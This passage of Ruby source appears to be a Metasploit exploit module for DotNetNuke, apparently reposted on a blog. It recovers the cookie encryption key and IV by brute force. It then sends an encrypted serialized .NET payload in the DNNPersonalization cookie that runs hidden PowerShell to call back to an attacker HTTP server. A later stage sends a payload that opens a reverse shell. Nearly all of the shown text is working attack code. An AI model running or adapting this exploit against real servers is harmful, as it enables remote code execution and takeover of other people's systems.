if new_key.length == 8[*]@possible_keys.add(String.new(new_key))

# also add key with original value[*]new_key[pos] = (from_key[pos]).chr[*]@possible_keys.add(String.new(new_key))[*]else[*]generate_base_keys(pos + 1, from_key, String.new(new_key))

# also generate keys with original value[*]new_key[pos] = (from_key[pos]).chr[*]generate_base_keys(pos + 1, from_key, String.new(new_key))[*]end[*]else[*]new_key[pos] = (from_key[pos]).chr[*]if new_key.length == 8[*]@possible_keys.add(String.new(new_key))[*]else[*]generate_base_keys(pos + 1, from_key, String.new(new_key))[*]end[*]end[*]end

# ==============================================[*]# Find all possible base IV values[*]# used to create the final Encryption passphrase[*]# ==============================================[*]def find_ivs(cipher_texts, key)[*]num_chars = 8 – @kpt.length[*]f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/

@decryptor.key = key[*]found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final[*]# Find all possible IVs for the first ciphertext[*]brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..-1])

# Reduce IV set by testing against other ciphertexts[*]cipher_texts.drop(1).each do |cipher_text|[*]@possible_ivs.each do |iv|[*]@decryptor.iv = iv[*]pt = @decryptor.update(cipher_text) + @decryptor.final[*]if !f8regex.match(pt[0, 8])[*]@possible_ivs.delete(iv)[*]end[*]end[*]end[*]end

# ==========================================[*]# A recursive function to find all[*]# possible valid IV values using brute-force[*]# ==========================================[*]def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt)[*]charset = “0123456789abcdef”[*]if num_chars_needed == 0[*]@decryptor.key = key[*]@decryptor.iv = pt_prefix[*]pt = @decryptor.update(cipher_text) + @decryptor.final[*]iv = pt[0, 8][*]if @iv_regex.match(iv)[*]pt = pt_prefix + found_pt[*]if encrypt_data(@encryptor, pt, key + iv) == cipher_text[*]@possible_ivs.add(String.new(iv))[*]end[*]end[*]return[*]end[*]charset.length.times do |i|[*]brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed – 1, cipher_text, key, found_pt)[*]end[*]end

# ========================================[*]# Generate all possible payload encryption[*]# passphrases for a v9.2.2+ target[*]# ========================================[*]def generate_payload_passphrases[*]phrases = Set.new(@passphrases)[*]@possible_keys.each do |key|[*]@possible_ivs.each do |iv|[*]phrase = Rex::Text.encode_base64([*]encrypt_data(@encryptor, key + iv, key + iv)[*])[*]phrases.add(String.new(phrase[0, 16]))[*]end[*]end[*]@passphrases = phrases.to_a[*]end

# ===========================================[*]# Test all generated passphrases by initializing[*]# an HTTP server to listen for a callback that[*]# contains the index of the successful passphrase.[*]# ===========================================[*]def test_passphrases[*]for i in [email protected] – 1[*]# Stop sending if we’ve found the passphrase[*]if [email protected]?[*]break[*]end

msg = format(“Trying KEY and IV combination %d of %d…”, current: i + 1, total: @passphrases.size)[*]print(“r%bld%blu[*]%clr #{msg}”)

url = “#{get_uri}?#{get_resource.delete(‘/’)}=#{i}”[*]payload = create_request_payload(url)[*]cookie = create_cookie(payload)

# Encrypt cookie value[*]enc_cookie = Rex::Text.encode_base64([*]encrypt_data(@encryptor, cookie, @passphrases[i])[*])[*]if @dry_run[*]print_line[*]print_warning(“DryRun enabled. No exploit payloads have been sent to the target.”)[*]print_warning(“Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}…”)[*]print_line(enc_cookie)[*]break[*]end[*]execute_command(enc_cookie, host: datastore[‘RHOST’])[*]end[*]end

# ===============================[*]# Request handler for HTTP server.[*]# ==============================[*]def on_request_uri(cli, request)[*]# Send 404 to prevent scanner detection[*]send_not_found(cli)

# Get found index – should be the only query string parameter[*]if request.qstring.size == 1 && request.qstring[get_resource.delete(‘/’).to_s][*]index = request.qstring[get_resource.delete(‘/’).to_s].to_i[*]@passphrase = String.new(@passphrases[index])[*]end[*]end

# ==============================================[*]# Create payload to callback to the HTTP server.[*]# Note: This technically exploits the[*]# vulnerability, but provides a way to determine[*]# the valid passphrase needed to exploit again.[*]# ==============================================[*]def create_request_payload(url)[*]psh_cmd = “/b /c start /b /min powershell.exe -nop -w hidden -noni -Command “Invoke-WebRequest ‘#{url}'””[*]psh_cmd_bytes = psh_cmd.bytes.to_a

cmd_size_bytes = write_encoded_int(psh_cmd.length)

# Package payload into serialized object[*]payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end

object_size = write_encoded_int(payload_object.length)

# Create the final seralized ObjectStateFormatter payload[*]final_payload = @osf_header + object_size + payload_object

b64_payload = Rex::Text.encode_base64(final_payload.pack(“C*”))[*]return b64_payload[*]end

# =============================================[*]# Reproduce the WriteEncoded method in[*]# the native .NET ObjectStateFormatter.cs file.[*]# =============================================[*]def write_encoded_int(value)[*]enc = [][*]while (value >= 0x80)[*]v = value | 0x80[*]enc.push([v].pack(“V”)[0].unpack1(“C*”))[*]value >>= 7[*]end[*]enc.push([value].pack(“V”)[0].unpack1(“C*”))[*]return enc[*]end

# =================================[*]# Creates the payload cookie[*]# using the specified payload[*]# =================================[*]def create_cookie(payload)[*]cookie = ““[*]”“[*]”“[*]”“[*]”Deserialize“[*]”“[*]”#{payload}“[*]”“[*]”“[*]”“[*]”“[*]”“[*]”“[*]return cookie[*]end

# =========================================[*]# Send the payload to the target server.[*]# =========================================[*]def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port })[*]uri = normalize_uri(target_uri.path)

res = send_request_cgi([*]’uri’ => uri,[*]’cookie’ => “.DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};”[*])[*]if !res[*]fail_with(Failure::Unreachable, “#{opts[:host]} – target unreachable.”)[*]elsif res.code == 404[*]return true[*]elsif res.code == 400[*]fail_with(Failure::BadConfig, “#{opts[:host]} – payload resulted in a bad request – #{res.body}”)[*]else[*]fail_with(Failure::Unknown, “#{opts[:host]} – Something went wrong- #{res.body}”)[*]end[*]end

# ======================================[*]# Create and send final exploit payload[*]# to obtain a reverse shell.[*]# ======================================[*]def send_exploit_payload[*]cmd_payload = create_payload[*]cookie_payload = create_cookie(cmd_payload)[*]if @encrypted[*]if @passphrase.blank?[*]print_error(“Target requires encrypted payload, but a passphrase was not found or specified.”)[*]return[*]end[*]cookie_payload = Rex::Text.encode_base64([*]encrypt_data(@encryptor, cookie_payload, @passphrase)[*])[*]end[*]if @dry_run[*]print_warning(“DryRun enabled. No exploit payloads have been sent to the target.”)[*]print_warning(“Printing exploit cookie payload…”)[*]print_line(cookie_payload)[*]return[*]end

# Set up the payload handlers[*]payload_instance.setup_handler

# Start the payload handler[*]payload_instance.start_handler

print_status(“Sending Exploit Payload to: #{normalize_uri(target_uri.path)} …”)[*]execute_command(cookie_payload, host: datastore[‘RHOST’])[*]end

# ===================================[*]# Create final exploit paylod based on[*]# supplied payload options.[*]# ===================================[*]def create_payload[*]# Create payload[*]psh_cmd = “/b /c start /b /min ” + cmd_psh_payload([*]payload.encoded,[*]payload_instance.arch.first,[*]remove_comspec: true, encode_final_payload: false[*])

psh_cmd_bytes = psh_cmd.bytes.to_a[*]cmd_size_bytes = write_encoded_int(psh_cmd.length)

# Package payload into serialized object[*]payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end[*]object_size = write_encoded_int(payload_object.length)

# Create the final seralized ObjectStateFormatter payload[*]final_payload = @osf_header + object_size + payload_object[*]b64_payload = Rex::Text.encode_base64(final_payload.pack(“C*”))

vprint_status(“Payload Object Created.”)

return b64_payload[*]end[*]end[*]

Source link

Tagged with:



Leave a Reply

Your email address will not be published. Required fields are marked *


loading...